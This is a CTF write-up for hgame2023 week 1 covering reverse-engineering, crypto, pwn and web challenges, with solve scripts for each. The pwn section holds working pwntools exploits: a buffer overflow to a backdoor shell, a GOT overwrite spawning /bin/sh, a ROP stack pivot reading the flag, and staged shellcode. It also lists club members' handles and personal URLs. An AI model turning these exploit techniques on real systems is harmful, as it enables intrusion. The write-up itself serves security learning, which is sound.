hgame2023 week1 writeup

#WEEK1

RE

1、re-test_your_IDA

ida打开可见flag：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Str1[24]; // [rsp+20h] [rbp-18h] BYREF

  sub_140001064("%10s");
  if ( !strcmp(Str1, "r3ver5e") )
    sub_140001010("your flag:hgame{te5t_y0ur_IDA}");
  return 0;
}

flag:hgame{te5t_y0ur_IDA}

2、re-easyasm

; void __cdecl enc(char *p)
.text:00401160 _enc            proc near               ; CODE XREF: _main+1B↑p
.text:00401160
.text:00401160 i               = dword ptr -4
.text:00401160 Str             = dword ptr  8
.text:00401160
.text:00401160                 push    ebp
.text:00401161                 mov     ebp, esp
.text:00401163                 push    ecx
.text:00401164                 mov     [ebp+i], 0
.text:0040116B                 jmp     short loc_401176
.text:0040116D ; ---------------------------------------------------------------------------
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: _enc+3B↓j
.text:0040116D                 mov     eax, [ebp+i]
.text:00401170                 add     eax, 1
.text:00401173                 mov     [ebp+i], eax
.text:00401176
.text:00401176 loc_401176:                             ; CODE XREF: _enc+B↑j
.text:00401176                 mov     ecx, [ebp+Str]
.text:00401179                 push    ecx             ; Str
.text:0040117A                 call    _strlen
.text:0040117F                 add     esp, 4
.text:00401182                 cmp     [ebp+i], eax
.text:00401185                 jge     short loc_40119D
.text:00401187                 mov     edx, [ebp+Str]
.text:0040118A                 add     edx, [ebp+i]
.text:0040118D                 movsx   eax, byte ptr [edx]
.text:00401190                 xor     eax, 33h              ;异或0x33
.text:00401193                 mov     ecx, [ebp+Str]
.text:00401196                 add     ecx, [ebp+i]
.text:00401199                 mov     [ecx], al
.text:0040119B                 jmp     short loc_40116D
.text:0040119D ; ---------------------------------------------------------------------------
.text:0040119D
.text:0040119D loc_40119D:                             ; CODE XREF: _enc+25↑j
.text:0040119D                 mov     esp, ebp
.text:0040119F                 pop     ebp
.text:004011A0                 retn
.text:004011A0 _enc            endp
Input: your flag
Encrypted result: 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

分析处理逻辑就是个循环异或了0x33
exp：

c=[0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e]
for i in range(len(c)):
	a=c[i] ^0x33
	print(chr(a),end='')

得到flag：hgame{welc0me_t0_re_wor1d!}

3、re-easyenc

ida分析代码

  if ( v4 == 41 )                         //flag长度 41
  {
    while ( 1 )
    {
      v5 = (flag[i] ^ 0x32) - 86;         //逆向这段代码就行了
      flag[i] = v5;
      if ( *((_BYTE *)v8 + i) != v5 )     //对比密文
        break;
      if ( ++i >= 41 )
      {
        v6 = "you are right!";
        goto LABEL_8;
      }
    }
...

动态调试获取到密文v5，然后exp:

c=[4, 255, 253, 9, 1, 243, 176, 0, 0, 5, 240, 173, 7, 6, 23, 5, 235, 23, 253, 23, 234, 1, 238, 1, 234, 177, 5, 250, 8, 1, 23, 172, 236, 1, 234, 253, 240, 5, 7, 6, 249]
for i in c:
	i += 86
	i&=0xff
	i ^= 0x32
	print(chr(i),end='')

得到flag：hgame{4ddit1on_is_a_rever5ible_0peration}

4、re-a_cup_of_tea

看题目应该是个tea算法,
ida：

Buf2[0] = 778273437;
  Buf2[1] = -1051836401;
  v11 = 0;
  memset(Buf1, 0, sizeof(Buf1));
  Buf2[2] = 1934188352;
  Buf2[3] = 1985950815;
  Buf2[4] = 1601794661;
  Buf2[5] = 1818309480;
  Buf2[6] = 1601792116;
  Buf2[7] = 1848734308;
  v9 = 1899;
  sub_140001010("nice tea!\n> ");
  sub_140001064("%50s");
  v3 = 0;
  v4 = 0;
  v5 = 0;
  v6 = 32i64;
  do
  {
    v4 -= 0x543210DD;
    v3 += (v4 + v5) ^ (16 * v5 + 305419896) ^ ((v5 >> 5) + 591751049);
    v5 += (v4 + v3) ^ ((v3 >> 5) + 1164413185) ^ (16 * (v3 + 54880137));
    --v6;
  }
  while ( v6 );
  *(_QWORD *)&Buf1[0] = __PAIR64__(v5, v3);
  if ( !memcmp(Buf1, Buf2, 0x22ui64) )
    sub_140001010("wrong...");
  sub_140001010("Congratulations!");
  return 0

明文前两个int做了个tea，后面的内容没变，注意sum是int
exp：

from ctypes import *
from libnum import n2s

def tea_dec(v):
    y = c_uint32(v[0])
    z = c_uint32(v[1])
    sum = c_int32(0)
    delta = 0x543210DD
    n = 32
    w = [0,0]

    for _ in range(32):
    	sum.value -= delta

    while(n>0):
        z.value -= (sum.value + y.value ) ^ ((y.value  >> 5) + 1164413185) ^ (16 * (y.value  + 54880137))
        y.value -= (sum.value + z.value ) ^ (16 * z.value  + 305419896) ^ ((z.value  >> 5) + 591751049)
        sum.value += delta
        n -= 1

    w[0] = y.value
    w[1] = z.value
    return w


Buf2 = [0x2E63829D,0xC14E400F]
flag2=b'@_Is_4_very_h3althy_dr1nk'
m = tea_dec(Buf2)
flag =n2s(m[0])[::-1]+n2s(m[1])[::-1]+flag2
print(flag)

得到flag：hgame{Te@_Is_4_very_h3althy_dr1nk}

附件后来做了更新，更新后做了4轮加密，key和算法没有变化
exp：

from ctypes import *
from libnum import n2s

def tea_dec(v):
    y = c_uint32(v[0])
    z = c_uint32(v[1])
    sum = c_int32(0)
    delta = 0x543210DD
    n = 32
    w = [0,0]

    for _ in range(32):
    	sum.value -= delta

    while(n>0):
        z.value -= (sum.value + y.value ) ^ ((y.value  >> 5) + 1164413185) ^ (16 * (y.value  + 54880137))
        y.value -= (sum.value + z.value ) ^ (16 * z.value  + 305419896) ^ ((z.value  >> 5) + 591751049)
        sum.value += delta
        n -= 1

    w[0] = y.value
    w[1] = z.value
    return w

Buf2 = [778273437, 3243130895, 2604253113, 1512016660, 1636330974, 1701168847, 2667990884, 594166774]
#flag2=b'@_Is_4_very_h3althy_dr1nk'
m = tea_dec(Buf2)
flag =n2s(m[0])[::-1]+n2s(m[1])[::-1]
m = tea_dec(Buf2[2:])
flag +=n2s(m[0])[::-1]+n2s(m[1])[::-1]
m = tea_dec(Buf2[4:])
flag +=n2s(m[0])[::-1]+n2s(m[1])[::-1]
m = tea_dec(Buf2[6:])
flag +=n2s(m[0])[::-1]+n2s(m[1])[::-1]
flag +=b'k}'
print(flag)

#hgame{Tea_15_4_v3ry_h3a1k}

flag：hgame{Tea_15_4_v3ry_h3a1k}

5、re-encode

ida：

  scanf("%50s", v5);
  for ( i = 0; i < 50; ++i )
  {
    v4[2 * i] = v5[i] & 0xF;                //低位
    v4[2 * i + 1] = (v5[i] >> 4) & 0xF;     //高位
  }
  for ( j = 0; j < 100; ++j )
  {
    if ( v4[j] != enc[j] )
    {
      printf(Format, v4[0]);                    // wrong
      return 0;
    }
  }
  printf(aYesYouAreRight, v4[0]);               // right
  return 0;

就是8位字符转2个4位，
exp：

c=[8, 6, 7, 6, 1, 6, 13, 6, 5, 6, 11, 7, 5, 6, 14, 6, 3, 6, 15, 6, 4, 6, 5, 6, 15, 5, 9, 6, 3, 7, 15, 5, 5, 6, 1, 6, 3, 7, 9, 7, 15, 5, 6, 6, 15, 6, 2, 7, 15, 5, 1, 6, 15, 5, 2, 7, 5, 6, 6, 7, 5, 6, 2, 7, 3, 7, 5, 6, 15, 5, 5, 6, 14, 6, 7, 6, 9, 6, 14, 6, 5, 6, 5, 6, 2, 7, 13, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

for i in range(0,len(c),2):
	t = c[i+1] << 4| c[i]
	print(chr(t),end='')

得到flag：hgame{encode_is_easy_for_a_reverse_engineer}

pwn

1、test_nc

cat flag

2、easy_overflow

常规操作，只不过close(1)要注意，可以使用报错输出 或者 将1重定向到2。

#encoding=utf-8
from pwn import *
r = remote('week-1.hgame.lwsec.cn',31915)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-easy_overflow/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc
backdoor=0x401176
off= 16
payload = b'a'*off+p64(0)+p64(backdoor)
r.sendline(payload)
r.sendline('flag 1>&2') #sh flag也可
r.interactive()

3、choose_the_seat

兔兔在买高铁票时想要选一个好座位。

有一个任意地址写漏洞
1、改exit got让程序重复运行
2、puts泄露libc
3、改exit got改为ogg 或者 改先sit0让seat为’/bin/sh\0’ 后改puts got改为system，然后 sit 0。
exp

#encoding=utf-8
from ctypes import *
from pwn import *
import time
context(os='linux',arch='amd64')
#context.arch = 'amd64'
#r = remote('week-1.hgame.lwsec.cn',31086)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-choose_the_seat/vuln'
r = process(context.binary.path)
elf = context.binary
libc = elf.libc

def getn(addr):
    x = (addr >> 4) | 0x80000000
    y = c_int32(x)
    return y.value
    
start=0x4010F0
x =getn(elf.got.exit-0x4040A0)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',p64(start))

x =getn(0x404018-0x4040A0)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',b"aaaaaaaa")
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols["puts"]

#采用ogg
'''
ogg = libc.address+0xe3b01
x =getn(elf.got.exit-0x4040A0)
print(x)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',p64(ogg))
'''

####不用ogg
sys_addr=libc.symbols['system']  
sh_addr=next(libc.search(b"/bin/sh\0"))
r.sendlineafter(b'choose one.\n',str(0).encode())
r.sendafter(b'your name\n',b'/bin/sh\0')

x =getn(0x404018-0x4040A0)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',b"aaaaaaaa"+p64(sys_addr))
r.sendline(b'0')

r.interactive()

4、orw

泄露libc后因为溢出栈长度不足以构造三个参数的rop，所以进行栈迁移，然后构造flag字符串，orw
exp：

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#r = remote('week-1.hgame.lwsec.cn',31815)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-orw/vuln'
r = process(context.binary.path)
elf = context.binary
libc = elf.libc

off=256
start_addr = 0x4010B0
poprdi_addr = 0x401393
leave_ret = 0x4012EE

bss = elf.bss()
print("bss:"+hex(bss))
payload = b'a'*off+p64(0)+p64(poprdi_addr)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(start_addr)
r.sendlineafter(b'this task.\n',payload)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr:"+hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]

open_addr=libc.symbols['open']  
read_addr=libc.symbols['read']  
write_addr=libc.symbols['write']  
gets_addr=libc.symbols['gets']  

poprsi_addr  = libc.address + 0x2601f
poprdx_addr  = libc.address + 0x142c92

#栈迁移
flag_addr = bss + 0x100 
read_buf = bss + 0x100 + 0x10
newstack = bss + 0x200

print("flag_addr:"+hex(flag_addr))
print("newstack:"+hex(newstack))

payload = b'a'*off+p64(newstack)
payload += p64(poprdi_addr) + p64(newstack+8)+ p64(gets_addr)+p64(leave_ret)
print(len(payload))
r.sendlineafter(b'this task.\n',payload)

payload = p64(poprdi_addr)+ p64(flag_addr)+p64(gets_addr)
payload += p64(poprdi_addr)+ p64(flag_addr)+p64(poprsi_addr)+p64(0)+p64(open_addr)
payload += p64(poprdi_addr)+ p64(3)+p64(poprsi_addr)+ p64(read_buf)+p64(poprdx_addr)+p64(50)+p64(read_addr)
payload += p64(poprdi_addr)+ p64(1)+p64(poprsi_addr)+ p64(read_buf)+p64(poprdx_addr)+p64(50)+p64(write_addr)
r.sendline(payload)
r.sendline(b'flag\0')
r.interactive()

5、simple_shellcode

构造shellcode，并且开了限制智能orw，因为一开始构造的长度限制0x10，所以无法构造orw的shellcode，先构造个read，读入数据放到read执行完后的地址，然后利用read构造orw的shellcode
exp:

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
r = remote('week-1.hgame.lwsec.cn',31969)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-simple_shellcode/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc

code = '''
    mov rsi, rdx     #rdi buf
    mov rdx, 0x100   #rdx len 
    xor rdi, rdi     #
    syscall
'''
code = asm(code)
print(len(code))

#gdb.attach(r,'b *$rebase(0x13B9)')
time.sleep(2)
r.sendline(code)

ad = 0xCAFE0000+0x100
shellcode = shellcraft.open("./flag")
shellcode += shellcraft.read(3, ad, 0x50)
shellcode += shellcraft.write(1, ad, 0x50)
payload = asm(shellcode)
print(len(code))
r.sendline(b"\x90"*len(code)+payload)
r.interactive()

crypto

1、兔兔的车票

兔兔刚买到车票就把车票丢到一旁，自己忙去了。结果再去找车票时发现原来的车票混在了其他东西里，而且票面还被污染了。你能帮兔兔找到它的车票吗。 注：flag.png已经提前保存在source文件夹下，并且命名为picture{x}.png

根据题目脚本，source下文件的大部分像素点为(0,0,0)，可以假定为全(0,0,0)，也就是明文已知，所以key = enc ^ source，flag = key^enckey

但是因为key有三个，所以需要爆破一下，查找 与flag图片使用同一key的enc：

exp：

from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits

flagImg = Image.open('pics/enc0.png')
width = flagImg.width
height = flagImg.height

def makeSourceImg():
    colors = long_to_bytes(getrandbits(width * height * 24))[::-1]
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

def makeSourceImg0():
    colors =list(b''.zfill(width * height * 24))
    shuffle(colors)
    colors = bytes(colors)
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

def xorImg(keyImg, sourceImg):
    img = Image.new('RGB', (width, height))
    for i in range(height):
        for j in range(width):
            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img

#source文件夹下面的图片生成过程：
def makeImg():
    colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))
    shuffle(colors)
    colors = bytes(colors)
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

n = makeSourceImg0()

im = Image.open(f'pics/enc1.png') #0、2、3、4、5、6、7... 1的时候就遇到了
key = n
nImg = xorImg(key, im)
for i in range(16): 
    im = Image.open(f'pics/enc{i}.png')
    decImg = xorImg(nImg, im)
    decImg.save(f'pics/dec{i}.png')

得到flag：hgame{Oh_my_Ticket}

2、cr-RSA

n用factordb.com可分解

然后常规脚本:

import gmpy2
from Crypto.Util.number import long_to_bytes

e = 65537
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789

p=11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
q=12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953

d = gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

flag:hgame{factordb.com_is_strong!}

3、Be Stream

很喜欢李小龙先生的一句话"Be water my friend"，但是这条小溪的水好像太多了。

使用快速幂优化stream算法算法, sage脚本

key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]
print('key=',key)

enc=b'\x1a\x15\x05\t\x17\tu"-\x06lm\x01-\xc7\xcc2\x1eXA\x1c\x15\xb7\xdb\x06\x13\xaf\xa1-\x0b\xd4\x91-\x06\x8b\xd4-\x1e\xab\xaa\x15-\xf0\xed\x1f\x17\x1bY'

A = matrix(Zmod(256), [[4, 7], [1, 0]])
B = vector(Zmod(256), [key[1],key[0]])

def stream(i):
    return int((A ^ (i) * B)[1])

flag=''
for i in range(len(enc)):
    water = stream((i//2)**6) % 256
    flag += chr(int(water ^^ enc[i]) & 0x7f)
    print(flag)

flag：hgame{1f_this_ch@l|eng3_take_y0u_to0_long_time?}

后来尝试用chatgpt简化：

这个算法复杂度还是比较大，能解出来，但是比较慢。

4、神秘的电话

学校突然放假了，tr0uble正在开开心心的收拾东西准备回家，但是手机铃声突然响起，tr0uble接起电话，但是只听到滴答滴答的声音。努力学习密码学的tr0uble一听就知道这是什么，于是马上记录下来并花了亿点时间成功破译了，但是怎么看这都不像是人能看懂的，还没等tr0uble反应过来，又一通电话打来，依然是滴答滴答的声音。tr0uble想到兔兔也在学习密码学，于是不负责任地把密文都交给了兔兔，兔兔收到密文后随便看了一眼就不屑地说"这么简单都不会？自己解去，别耽误我抢车票"。 flag为最后得到的结果套上hgame{}, flag中字母均为小写

附件一个密文文本，一个wav文件，wav文件名morse.wav, 为摩斯密码，
打开后也像

手抄:
----- …— …— …-- . …–.- .–. .-. … … -… .-… -.-- …–.- …–.- … — -. .-- .- …–.- .— – --. … …–.- …-. --. -.- -.-. --.- .- — --.- - – …-. .-.
摩斯解码：0223e_priibly__honwa_jmgh_fgkcqaoqtmfr

文本做base64解码得到

几个星期前，我们收到一个神秘的消息。但是这个消息被重重加密，我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的：“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。

关键点：倒着、18层篱笆、北欧神话
1）倒着（取逆）：
rfmtqoaqckgf_hgmj_awnoh__ylbiirp_e3220

2）18层篱笆（w形栅栏18 ）：
rmocfhm_wo_ybipe2023_ril_hnajg_katfqqg
看到2023感觉步骤是对的

3）北欧神话（维吉尼亚：key：Vidar）
welcometohgameandenjoyhacking
北欧神话这个搞了很久，加密算法中没有找到跟北欧神话有关的，搜索北欧神话 ctf，找到的关键字是组织方的战队名“Vidar” 那这个可能是key，尝试之后发现是维吉尼亚密码。

4）补充上数字和下划线：
welcome_to_hgame2023_and_enjoy_hacking

flag:hgame{welcome_to_hgame2023_and_enjoy_hacking}

web

1、Classic Childhood Game

兔最近迷上了一个纯前端实现的网页小游戏，但是好像有点难玩，快帮兔兔通关游戏！

在Events.js中有个处理加密数据的函数mota()，在console中执行：

2、Guess Who am I

刚加入Vidar的兔兔还认不清协会成员诶，学长要求的答对100次问题可太难了，你能帮兔兔写个脚本答题吗？

打开页面后要求回答问题，查看源码有个hint：

打开hint链接是答案

exp：

ans=[
    {
        "id": "ba1van4",
        "intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640",
        "url": "https://ba1van4.icu"
    },
    {
        "id": "yolande",
        "intro": "21级 / 非常菜的密码手 / 很懒的摸鱼爱好者，有点呆，想学点别的但是一直开摆",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rY328VIqDc7lNtujYic8JxA&s=640",
        "url": "https://y01and3.github.io/"
    },
    {
        "id": "t0hka",
        "intro": "21级 / 日常自闭的Re手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EYNwm1PQe8o5OcghFb4zfw&s=640",
        "url": "https://blog.t0hka.top/"
    },
    {
        "id": "h4kuy4",
        "intro": "21级 / 菜鸡pwn手 / 又菜又爱摆",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=BmACniaibVb6IL6LiaYF4Uvlw&s=640",
        "url": "https://hakuya.work"
    },
    {
        "id": "kabuto",
        "intro": "21级web / cat../../../../f*",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=oPn2ez6Nq12GqPZG6cV7nw&s=640",
        "url": "https://www.bilibili.com/video/BV1GJ411x7h7/"
    },
    {
        "id": "R1esbyfe",
        "intro": "21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=FLyUHP6nYov19gA0ia83u8Q&s=640",
        "url": "https://r1esbyfe.top/"
    },
    {
        "id": "tr0uble",
        "intro": "21级 / 喜欢肝原神的密码手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=bgcib3gBjJGdKEf7BZ512Uw&s=640",
        "url": "https://clingm.top"
    },
    {
        "id": "Roam",
        "intro": "21级 / 入门级crypto",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5wzr9TVyw2nxOz5Jb7ceaQ&s=640",
        "url": "#"
    },
    {
        "id": "Potat0",
        "intro": "20级 / 摆烂网管 / DN42爱好者",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=NicTy1CDqeHsgzbZEIUU2wg&s=640",
        "url": "https://potat0.cc/"
    },
    {
        "id": "Summer",
        "intro": "20级 / 歪脖手 / 想学运维 / 发呆业务爱好者",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=4y6zxTBSB3cbseeyPvQWng&s=640",
        "url": "https://blog.m1dsummer.top"
    },
    {
        "id": "chuj",
        "intro": "20级 / 已退休不再参与大多数赛事 / 不好好学习，生活中就会多出许多魔法和奇迹",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=aM4tJSQSxB5gcauIMDEtUg&s=640",
        "url": "https://cjovi.icu"
    },
    {
        "id": "4nsw3r",
        "intro": "20级会长 / re / 不会pwn",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=j3LOiav9IluKSYg1VEibblZw&s=640",
        "url": "https://4nsw3r.top/"
    },
    {
        "id": "4ctue",
        "intro": "20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期",
        "url": "#"
    },
    {
        "id": "0wl",
        "intro": "20级 / Re手 / 菜",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=06FRYslcuprt59OxibicdhqQ&s=640",
        "url": "https://0wl-alt.github.io"
    },
    {
        "id": "At0m",
        "intro": "20级 / web / 想学iot",
        "url": "https://homeboyc.cn/"
    },
    {
        "id": "ChenMoFeiJin",
        "intro": "20级 / Crypto / 摸鱼学代师",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5xyCaLib3lovjrUzf5pWxDQ&s=640",
        "url": "https://chenmofeijin.top"
    },
    {
        "id": "Klrin",
        "intro": "20级 / WEB / 菜的抠脚 / 想学GO",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=nnzEWNwxMS88jKYre5fOjg&s=640",
        "url": "https://blog.mjclouds.com/"
    },
    {
        "id": "ek1ng",
        "intro": "20级 / Web / 还在努力",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=pJFuHEqNaFk1If1STvRibWw&s=640",
        "url": "https://ek1ng.com"
    },
    {
        "id": "latt1ce",
        "intro": "20级 / Crypto&BlockChain / Plz V me 50 eth",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EmPiaz7Msgg7iaia9tibibjdUyw&s=640",
        "url": "https://lee-tc.github.io/"
    },
    {
        "id": "Ac4ae0",
        "intro": "*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EI7A02PYs5WUVFP2bciad8w&s=640",
        "url": "https://twitter.com/LAttic1ng"
    },
    {
        "id": "Akira",
        "intro": "19级 / 不会web / 半吊子运维 / 今天您漏油了吗",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=ku1vqyI1hLJr61PGIlic7Ow&s=640",
        "url": "https://4kr.top"
    },
    {
        "id": "qz",
        "intro": "19级 / 摸鱼美工 / 学习图形学、渲染ing",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=q5qVDcvyzxee4qiays52mibA&s=640",
        "url": "https://fl0.top/"
    },
    {
        "id": "Liki4",
        "intro": "19级 / 脖子笔直歪脖手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=E3j3BJrsAfyl1arfnFKufQ&s=640",
        "url": "https://github.com/Liki4"
    },
    {
        "id": "0x4qE",
        "intro": "19级 / </p><p>Web",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=K7icYial1VVzlNl7hrD9MlNw&s=640",
        "url": "https://github.com/0x4qE"
    },
    {
        "id": "xi4oyu",
        "intro": "19级 / 骨瘦如柴的胖手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=JfeMY6Lz5ZU4GmtTV85otQ&s=640",
        "url": "https://www.xi4oyu.top/"
    },
    {
        "id": "R3n0",
        "intro": "19级 / bin底层选手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icY08gnMlXtoYIJ9ib3eJQ2g&s=640",
        "url": "https://r3n0.top"
    },
    {
        "id": "m140",
        "intro": "19级 / 不会re / dl萌新 / 太弱小了，没有力量 / 想学游戏",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=zt0iccbnGuV8dOpXIYrJgvg&s=640",
        "url": "#"
    },
    {
        "id": "Mezone",
        "intro": "19级 / 普通的binary爱好者。",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rDD29iahzzg8AvQX7fdbFPg&s=640",
        "url": "#"
    },
    {
        "id": "d1gg12",
        "intro": "19级 / 游戏开发 / 粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icawQKtjLcRiaj7scTRBZ9Qw&s=640",
        "url": "https://d1g.club"
    },
    {
        "id": "Trotsky",
        "intro": "19级 / 半个全栈 / 安卓摸 / P 社玩家 / 粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=LiasEshjTXTrNzJjPHVY3Vw&s=640",
        "url": "https://altonhe.github.io/"
    },
    {
        "id": "Gamison",
        "intro": "19级 / 挖坑不填的web选手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=0VaAu2go9mvrMXu1ibmKy1g&s=640",
        "url": "http://aw.gamison.top"
    },
    {
        "id": "Tinmix",
        "intro": "19级会长 / DL爱好者 / web苦手",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=L2EclrAltb7lk3LBPY6oWA&s=640",
        "url": "http://poi.ac"
    },
    {
        "id": "RT",
        "intro": "19级 / Re手，我手呢？",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=p1TD1qwKfEK8NZExRDqic1A&s=640",
        "url": "https://wr-web.github.io"
    },
    {
        "id": "wenzhuan",
        "intro": "18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包",
        
        "url": "https://wzyxv1n.top/"
    },
    {
        "id": "Cosmos",
        "intro": "18级 / 莫得灵魂的开发 / 茄粉 / 作豚 /  米厨",
    

        "url": "https://cosmos.red"
    },
    {
        "id": "Y",
        "intro": "18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手",

        "url": "https://blog.xyzz.ml:444/"
    },
    {
        "id": "Annevi",
        "intro": "18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=WN9x96MpjSJ3Gc7a3SHtDw&s=640",
        "url": "https://annevi.cn"
    },
    {
        "id": "logong",
        "intro": "18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸",
       
        "url": "http://logong.vip"
    },
    {
        "id": "Kevin",
        "intro": "18 级 / Web / 车万",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=jaXAqywDMbia39e4OfGXicPQ&s=640",
        "url": "https://harmless.blue/"
    },
    {
        "id": "LurkNoi",
        "intro": "18级 / 会一丢丢crypto / 摸鱼",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=CLTlN5QPS3aI60icIoxGmdQ&s=640",
        "url": "#"
    },
    {
        "id": "幼稚园",
        "intro": "18级会长 / 二进制安全 /  干拉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=G2o7mX9RCTkiaCHeEiaJLBwA&s=640",
        "url": "https://danisjiang.com"
    },
    {
        "id": "lostflower",
        "intro": "18级 / 游戏引擎开发 / 尚有梦想的game maker",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=eQHtN69C2tgM8Ul8PmtTKw&s=640",
        "url": "https://r000setta.github.io"
    },
    {
        "id": "Roc826",
        "intro": "18 级 / Web 底层选手",
       
        "url": "http://www.roc826.cn/"
    },
    {
        "id": "Seadom",
        "intro": "18 级 / Web / 真·菜到超乎想象 / 拼死学（mo）习（yu）中",

        "url": "#"
    },
    {
        "id": "ObjectNotFound",
        "intro": "18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合！",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=yQnkF86Uy6UkZrZmFYLL4g&s=640",
        "url": "https://www.zhouweitong.site"
    },
    {
        "id": "Moesang",
        "intro": "18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼！",
       
        "url": "https://blog.wz22.cc"
    },
    {
        "id": "E99p1ant",
        "intro": "18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台",
